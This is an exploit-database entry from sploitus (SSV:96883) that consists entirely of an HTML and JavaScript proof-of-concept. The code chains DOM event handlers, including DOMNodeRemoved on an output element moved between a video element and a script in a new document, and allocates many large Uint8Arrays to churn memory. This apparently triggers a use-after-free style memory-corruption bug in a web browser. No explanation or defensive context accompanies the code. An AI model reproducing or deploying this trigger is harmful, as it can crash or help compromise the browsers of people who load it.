## https://sploitus.com/exploit?id=SSV:96883
<script>
function freememory() {
var a;
for(var i=0;i<100;i++) {
a = new Uint8Array(1024*1024);
}
}
function go() {
var v = document.getElementById("v");
o.defaultValue = "x";
a.appendChild(v);
freememory();
}
function eventhandler2() {
var d = document.implementation.createHTMLDocument("doc");
var s = d.createElement("script");
s.prepend(v);
}
function eventhandler1() {
v.appendChild(o);
o.addEventListener("DOMNodeRemoved", eventhandler2);
}
</script>
<body onload=go()>
</select>
<a id="a"></a>
<output id="o">foo</output>
<video id="v"></video>
<svg>
<text onload="eventhandler1()" />